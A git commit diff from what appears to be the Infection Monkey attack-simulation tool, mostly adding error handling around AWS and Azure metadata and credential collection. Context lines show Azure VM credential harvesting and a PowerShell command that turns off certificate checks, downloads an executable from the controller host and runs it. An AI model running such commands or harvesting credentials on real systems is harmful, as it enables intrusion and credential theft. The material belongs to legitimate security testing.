Merge remote-tracking branch 'upstream/develop' into 393/python-3

# Conflicts:
#	monkey/common/cloud/aws_instance.py
This commit is contained in:
VakarisZ 2019-10-14 15:47:50 +03:00
commit 341d905f1e
7 changed files with 88 additions and 36 deletions

View File

@ -30,14 +30,14 @@ class AwsInstance(object):
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read() AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read()
self.region = self._parse_region( self.region = self._parse_region(
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read()) urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
except urllib.error.URLError as e: except (urllib.error.URLError, IOError) as e:
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e), exc_info=True)
try: try:
self.account_id = self._extract_account_id( self.account_id = self._extract_account_id(
urllib.request.urlopen( urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read()) AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
except urllib.error.URLError as e: except (urllib.error.URLError, IOError) as e:
logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e)) logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e))
@staticmethod @staticmethod

View File

@ -113,7 +113,7 @@ class InfoCollector(object):
:return: None. Updates class information :return: None. Updates class information
""" """
LOG.debug("Reading subnets") LOG.debug("Reading subnets")
self.info['network_info'] =\ self.info['network_info'] = \
{ {
'networks': get_host_subnets(), 'networks': get_host_subnets(),
'netstat': NetstatCollector.get_netstat_info() 'netstat': NetstatCollector.get_netstat_info()
@ -122,28 +122,38 @@ class InfoCollector(object):
def get_azure_info(self): def get_azure_info(self):
""" """
Adds credentials possibly stolen from an Azure VM instance (if we're on one) Adds credentials possibly stolen from an Azure VM instance (if we're on one)
Updates the credentials structure, creating it if neccesary (compat with mimikatz) Updates the credentials structure, creating it if necessary (compat with mimikatz)
:return: None. Updates class information :return: None. Updates class information
""" """
from infection_monkey.config import WormConfiguration # noinspection PyBroadException
if not WormConfiguration.extract_azure_creds: try:
return from infection_monkey.config import WormConfiguration
LOG.debug("Harvesting creds if on an Azure machine") if not WormConfiguration.extract_azure_creds:
azure_collector = AzureCollector() return
if 'credentials' not in self.info: LOG.debug("Harvesting creds if on an Azure machine")
self.info["credentials"] = {} azure_collector = AzureCollector()
azure_creds = azure_collector.extract_stored_credentials() if 'credentials' not in self.info:
for cred in azure_creds: self.info["credentials"] = {}
username = cred[0] azure_creds = azure_collector.extract_stored_credentials()
password = cred[1] for cred in azure_creds:
if username not in self.info["credentials"]: username = cred[0]
self.info["credentials"][username] = {} password = cred[1]
# we might be losing passwords in case of multiple reset attempts on same username if username not in self.info["credentials"]:
# or in case another collector already filled in a password for this user self.info["credentials"][username] = {}
self.info["credentials"][username]['password'] = password # we might be losing passwords in case of multiple reset attempts on same username
if len(azure_creds) != 0: # or in case another collector already filled in a password for this user
self.info["Azure"] = {} self.info["credentials"][username]['password'] = password
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds] if len(azure_creds) != 0:
self.info["Azure"] = {}
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
except Exception:
# If we failed to collect azure info, no reason to fail all the collection. Log and continue.
LOG.error("Failed collecting Azure info.", exc_info=True)
def get_aws_info(self): def get_aws_info(self):
self.info['aws'] = AwsCollector().get_aws_info() # noinspection PyBroadException
try:
self.info['aws'] = AwsCollector().get_aws_info()
except Exception:
# If we failed to collect aws info, no reason to fail all the collection. Log and continue.
LOG.error("Failed collecting AWS info.", exc_info=True)

View File

@ -9,6 +9,7 @@ __author__ = 'itay.mizeretz'
class AwsEnvironment(Environment): class AwsEnvironment(Environment):
def __init__(self): def __init__(self):
super(AwsEnvironment, self).__init__() super(AwsEnvironment, self).__init__()
# Not suppressing error here on purpose. This is critical if we're on AWS env.
self.aws_info = AwsInstance() self.aws_info = AwsInstance()
self._instance_id = self._get_instance_id() self._instance_id = self._get_instance_id()
self.region = self._get_region() self.region = self._get_region()

View File

@ -1,3 +1,5 @@
import logging
from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
from common.cloud.aws_instance import AwsInstance from common.cloud.aws_instance import AwsInstance
from common.cloud.aws_service import AwsService from common.cloud.aws_service import AwsService
@ -7,6 +9,8 @@ from common.cmd.cmd_runner import CmdRunner
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
class RemoteRunAwsService: class RemoteRunAwsService:
aws_instance = None aws_instance = None
@ -23,7 +27,15 @@ class RemoteRunAwsService:
:return: None :return: None
""" """
if RemoteRunAwsService.aws_instance is None: if RemoteRunAwsService.aws_instance is None:
RemoteRunAwsService.try_init_aws_instance()
@staticmethod
def try_init_aws_instance():
# noinspection PyBroadException
try:
RemoteRunAwsService.aws_instance = AwsInstance() RemoteRunAwsService.aws_instance = AwsInstance()
except Exception:
logger.error("Failed init aws instance. Exception info: ", exc_info=True)
@staticmethod @staticmethod
def run_aws_monkeys(instances, island_ip): def run_aws_monkeys(instances, island_ip):
@ -119,7 +131,7 @@ class RemoteRunAwsService:
return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \ return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \ r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \ r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
@staticmethod @staticmethod
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip): def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):

View File

@ -24,6 +24,7 @@ class AWSExporter(Exporter):
logger.info('No issues were found by the monkey, no need to send anything') logger.info('No issues were found by the monkey, no need to send anything')
return True return True
# Not suppressing error here on purpose.
current_aws_region = AwsInstance().get_region() current_aws_region = AwsInstance().get_region()
for machine in issues_list: for machine in issues_list:
@ -70,6 +71,7 @@ class AWSExporter(Exporter):
configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '')
product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn) product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn)
instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}' instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}'
# Not suppressing error here on purpose.
account_id = AwsInstance().get_account_id() account_id = AwsInstance().get_account_id()
logger.debug("aws account id acquired: {}".format(account_id)) logger.debug("aws account id acquired: {}".format(account_id))

View File

@ -9,11 +9,18 @@ logger = logging.getLogger(__name__)
def populate_exporter_list(): def populate_exporter_list():
manager = ReportExporterManager() manager = ReportExporterManager()
RemoteRunAwsService.init() try_add_aws_exporter_to_manager(manager)
if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()):
manager.add_exporter_to_list(AWSExporter)
if len(manager.get_exporters_list()) != 0: if len(manager.get_exporters_list()) != 0:
logger.debug( logger.debug(
"Populated exporters list with the following exporters: {0}".format(str(manager.get_exporters_list()))) "Populated exporters list with the following exporters: {0}".format(str(manager.get_exporters_list())))
def try_add_aws_exporter_to_manager(manager):
# noinspection PyBroadException
try:
RemoteRunAwsService.init()
if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()):
manager.add_exporter_to_list(AWSExporter)
except Exception:
logger.error("Failed adding aws exporter to manager. Exception info:", exc_info=True)

View File

@ -1,3 +1,5 @@
import logging
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey from monkey_island.cc.models import Monkey
from monkey_island.cc.services import mimikatz_utils from monkey_island.cc.services import mimikatz_utils
@ -7,14 +9,32 @@ from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence im
from monkey_island.cc.services.wmi_handler import WMIHandler from monkey_island.cc.services.wmi_handler import WMIHandler
from monkey_island.cc.encryptor import encryptor from monkey_island.cc.encryptor import encryptor
logger = logging.getLogger(__name__)
def process_system_info_telemetry(telemetry_json): def process_system_info_telemetry(telemetry_json):
process_ssh_info(telemetry_json) telemetry_processing_stages = [
process_credential_info(telemetry_json) process_ssh_info,
process_mimikatz_and_wmi_info(telemetry_json) process_credential_info,
process_aws_data(telemetry_json) process_mimikatz_and_wmi_info,
update_db_with_new_hostname(telemetry_json) process_aws_data,
test_antivirus_existence(telemetry_json) update_db_with_new_hostname,
test_antivirus_existence,
]
# Calling safe_process_telemetry so if one of the stages fail, we log and move on instead of failing the rest of
# them, as they are independent.
for stage in telemetry_processing_stages:
safe_process_telemetry(stage, telemetry_json)
def safe_process_telemetry(processing_function, telemetry_json):
# noinspection PyBroadException
try:
processing_function(telemetry_json)
except Exception as err:
logger.error("Error while in {} stage of processing telemetry.".format(processing_function.func_name),
exc_info=True)
def process_ssh_info(telemetry_json): def process_ssh_info(telemetry_json):
@ -102,4 +122,4 @@ def process_aws_data(telemetry_json):
def update_db_with_new_hostname(telemetry_json): def update_db_with_new_hostname(telemetry_json):
Monkey.get_single_monkey_by_id(telemetry_json['_id']).set_hostname(telemetry_json['data']['hostname']) Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).set_hostname(telemetry_json['data']['hostname'])